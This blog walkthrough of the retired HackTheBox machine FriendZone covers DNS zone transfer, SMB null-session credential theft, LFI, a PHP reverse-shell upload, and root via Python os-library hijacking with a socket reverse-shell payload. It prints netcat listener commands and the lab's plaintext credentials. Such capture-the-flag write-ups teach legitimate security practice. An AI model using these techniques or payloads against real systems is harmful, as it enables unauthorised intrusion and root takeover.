FriendZone HackTheBox WalkThrough

FriendZone HackTheBox WalkThrough

This is FriendZone HackTheBox machine walkthrough and is also the 25th machine of our OSCP like HTB Boxes series. In this writeup I have demonstrated step-by-step how I rooted to FriendZone HackTheBox machine. But, before diving into the hacking part let us know something about this box. It is a Linux OS machine with IP address and difficulty easy assigned by its maker.

Since this machine is retired so you will require VIP subscription at to access this machine. So first of all connect your Kali/Parrot machine with HackTheBox VPN and confirm your connectivity with this machine by pinging its IP If all goes correct then start hacking.

As usual I started by scanning the machine with Nmap. Scanning gives us some idea how we have to proceed further like it helps to find open and closed ports and gives us information of different services running over them. I have used Nmap for this task and the result is given below:-


$ sudo nmap -sC -sV -sT -oA nmap/friendzone

Performing Nmap scan during FriendZone HackTheBox WalkThrough

Nmap found ports 21, 22, 53, 80, 139, 443 and 445. VsFTPd on port 21, OpenSSH on port 22, DNS on port 53, Apache2 on port 80, SMB on port 139 & 445 and Apache2 over SSL on port 443 are running. We have a lot of services to enumerate on. We will start by searching exploits for each version of software shown by nmap. Searchsploit (an offline tool to query did not find any relevant exploit for available software. Perhaps, all the software were up to date when the machine was released. We will have to find some other attack vector using which we can get into the machine.

Since port 21 is open so anonymous login is the first thing which everyone should check whenever he scan the machine. I tried login with anonymous: anonymous, but anonymous login is not allowed. Moving on port 22, we will try to test login into SSH when we get some credential. For now since there is no any credential available so I moved forward for enumeration on port no 80 and 443.

URL revealed an email address [email protected]. The extracted domain from it is Also nmap script ssl-cert revealed a domain There is also another domain friendzone.htb which I used to add. In case, if virtual host routing is enabled we would get some other website to enumerate on. So right now we have three domains let us add them to our hosts file which is located in /etc/ directory.

FriendZone frontpage found at URL during FriendZone HackTheBox WalkThrough

Host File after Modification

$ cat /etc/hosts

Host file after modification 1 during FriendZone HackTheBox WalkThrough,, http://friendzone.htb. All three http URLs have the same web pages as we have on page While https is given below.

https://friendzone.htb/ — Not found — Watching you image — Ready to escape from FriendZone

We have DNS service running over port 53 and we also have 3 virtual hosts let us check whether DNS Zone transfer on our local machine is possible or not. When I tried to perform DNS Zone transfer it allowed me to transfer the zone files on my local machine.

Performing DNS Zone Transfer

$dig @ axfr

Performing DNS Zone transfer at domain

$ dig @ axfr

Performing DNS Zone transfer at domain

DNS zone transfer found some more domains. They are,,,,,, and We have total of 14 new URLs to check. 7 for http and 7 for https. Before accessing them let us add them to our hosts file in the directory /etc/.

Host File after Modification

$ cat /etc/hosts

hosts file modification 2 during friendzone hackthebox writeup

Enumeration on Port 80 & 443

All the http URLs have the same pages and many https URLs are dead. I have remarked each URLs below. — Same as initial home page  — login-page  — Same as initial home page  — Not Found  — Same as initial home page  — Not Found  — Same as initial home page  — Not Found  — Same as initial home page  — Admin Login Page  — Same as initial home page  — Not Found  — Same as initial home page  — File Upload Options

All the http URLs are useless for now because all have the same page. We will enumerate on them if we will not get anything interesting from https URLs. For now we will focus more on & because they have login pages and we can test a lot of vulnerabilities over them and also  for testing file upload vulnerability. Moving on first. page showing login

When I tried to login with any credential it gave message “Admin page is not developed yet!!! check for another one”. This line hints us that there is some other admin login page available.

Admin page is not available message found during friendzone hackthebox walkthrough

After going to found another admin login page. Tried some basic injection like SQL and others but nothing worked. We requires a valid credential to login into it. We will return to this page when we get some credential. login page found during friendzone hackthebox walkthrough

For now let us go to to see what is present. File upload is allowed through it. Even we can upload webshell through it there is no restriction present. But the problem is, we can’t access our uploaded files. For this we requires some directory listing or LFI type vulnerability. Till now both of them are not present.

Enumeration on Port 445

We have port 445 open let us check whether null session is allowed or not.

$ smbmap -H -R --depth 5

smbmap result

Null session is allowed and we have access to a file creds.txt inside \general\ folder. Let us download it using $smbclient.

$ smbclient //

smb: > get creds.txt

smb: > exit

$ cat creds.txt

smbclient login to download creds.txt

creds.txt contains credential of user admin.

admin : WORKWORKHhallelujah@#

After login using this credential at told to visit /dashboard.php.

/dashboard.php redirect page found after login

After going to URL listed some parameters image_id=a.jpg&pagename=timestamp. Next thing I tried to explore my uploaded file with the timestamp which I got after successful file upload but it gave me error.

image_id=a.jpg parameter found during  friendzone hackthebox walkthrough

On spending some more time and doing some enumeration on this URL I found LFI vulnerability. This can be confirmed with the below URL. We can get source-code of login page from above URL.

Confirming LFI vulnerability using php wrapper during friendzone hackthebox walkthrough

$ echo -n "PD9waHAKCgokdXNlcm5hbWUgPSAkX1BPU1RbInVzZXJuYW1lIl07CiRwYXNzd29yZCA9ICRfUE9TVFsicGFzc3dvcmQiXTsKCi8vZWNobyAkdXNlcm5hbWUgPT09ICJhZG1pbiI7Ci8vZWNobyBzdHJjbXAoJHVzZXJuYW1lLCJhZG1pbiIpOwoKaWYgKCR1c2VybmFtZT09PSJhZG1pbiIgYW5kICRwYXNzd29yZD09PSJXT1JLV09SS0hoYWxsZWx1amFoQCMiKXsKCnNldGNvb2tpZSgiRnJpZW5kWm9uZUF1dGgiLCAiZTc3NDlkMGY0YjRkYTVkMDNlNmU5MTk2ZmQxZDE4ZjEiLCB0aW1lKCkgKyAoODY0MDAgKiAzMCkpOyAvLyA4NjQwMCA9IDEgZGF5CgplY2hvICJMb2dpbiBEb25lICEgdmlzaXQgL2Rhc2hib2FyZC5waHAiOwp9ZWxzZXsKZWNobyAiV3JvbmcgISI7Cn0KCgoKPz4K" | base64 -d

Base decoding of login page found during LFI

After lot of enumeration I could not find my uploaded webshell. From the result of above $smbmap command $ smbmap -H -R --depth 5, we found Samba Server Files is stored in directory /etc/Files/ and anonymous user also have write permission at /

So according to above result our actual file path on the disk should be /etc/Files/Development/shell but after uploading the shell in Development folder through $smbclient, it is accessible at /etc/Development/shell. This may be due to reason that admin has changed the default directory. The uploaded shell can be executed at URL (no .php extension is present in shell file because .php extension is truncated from all the php files).

Testing For File Upload

Let us upload a simple php script to check whether we can execute it or not.

$ echo "<?php echo \"This is test php file\" ?>" > test.php

$ cat test.php

$ smbclient //

smb: \> put test.php

smb: \> exit

Creating test.php file to test remote code execution on friendzone hackthebox machine

The uploaded file can be accessed at

Getting RCE result  on browser

Getting User Shell

Now we have confirmed file upload vulnerability let us upload our webshell to get user shell on our Kali machine.

$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php

$ vi shell.php # change to your tun0 IP

$ cat shell.php | grep -A8 -i

$ smbclient // 

smb: \>put shell.php

smb: \> exit

Copying and uploading php webshell on friendzone htb box during its walkthrough

Access this URL to execute the shell. But before accessing it start netcat listener on your terminal.

$ nc -nvlp 1234

$ whoami && id

Getting user shell on FriendZone htb

We have got user shell let us upgrade it to fully qualified Linux shell so that we can execute more advanced Linux command though it.

Upgrading Shell

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

$ export TERM=xterm

Upgrading shell in FriendZone htb

After some enumeration found file mysql_data.conf which contains SSH credential of user friend. The file is present in the directory /var/www/.

$ cat /var/www/mysql_data.conf

mysql_data.conf file containing user friend credential

The credential is friend: Agpyu12!0.213$

Let us login to user friend and capture user flag.

SSH into User Friend

$ ssh [email protected]


$ whoami && id

SSH into friendzone using the enumerated creds

Capture User Flag

$ cat user.txt

Capturing user flag in friendzone

Privilege Escalation

To escalate privilege to root we have to first find a privilege escalation vector using which we perform privilege escalation. You can run some privilege escalation enumeration script like Linpeas and LinEnum to do this job or enumerate manually. I tried to use Linpeas but it could not found the PrivEsc vector. So I have to manually enumerate and find PrivEsc vector.

Finding PrivEsc Vector

After some enumeration found a file inside the directory /opt/server_admin/.

$ cat /opt/server_admin/

Running pspy process monitoring tool on friendzone hackthebox

Meanwhile, I ran pspy (a process monitoring tool) to monitor processes running on the remote machine. It reported is being executed at interval of every 2 min by root. If we have write permission to change the content of this file we would definitely get root shell. But normal user has not given write permission as you can see in the screenshot.

One thing to be noted in above script is that it is importing OS module in the script. If we have permission to introduce our reverse shell code in file then our reverse shell code will definitely be executed with root permission when file executes and we will get reverse shell on our netcat listener.

$ ls -la /opt/server_admin/

Let us check the permission of

$ locate

$ ls -la /usr/lib/python2.7/ file location and its permission is given write permission from the root user to every other users. So here we can make our reverse shell code be executed by root by introducing in file. When I did this I got reverse shell with root privilege very easily. So here our PrivEsc vector is Privilege Escalation using Python Library Hijacking. For more info on python library hijacking check this blog. See HTB box writeup with same privilege escalation vector here.

Getting Root Shell

To get root shell start netcat listener in one window and paste the following reverse shell code in the file by changing the IP and save it. After that wait for 2 min to get the shell.

import ptyimport sockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("",9001))dup2(s.fileno(),0)dup2(s.fileno(),1)dup2(s.fileno(),2)pty.spawn("/bin/bash")s.close()

$ nano /usr/lib/python2.7/

$ tail -13 /usr/lib/python2.7/

$ nc -nvlp 9001

# whoami && id

Getting root shell during friendzone hackthebox walkthrough

We have got root shell. Let us capture root flag.

Capture Root Flag

$ cat root.txt

capturing root flag during friendzone hackthebox walkthrough

This was how I rooted to the FriendZone HackTheBox machine. Learnt a lot during this challenge. Hope you guys have also learnt some new things. Thanks for reading this walkthrough. For any query and suggestion about the writeup feel free to write us at [email protected]. Check out my latest walkthroughs at

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Deepak Kumar Maurya

Hi everyone, I am Deepak Kumar Maurya, creator of I am InfoSec Consultant in day and Bug Bounty Hunter & CTF player at night. Sometimes write walkthrough and other cyber security articles here. You can connect me at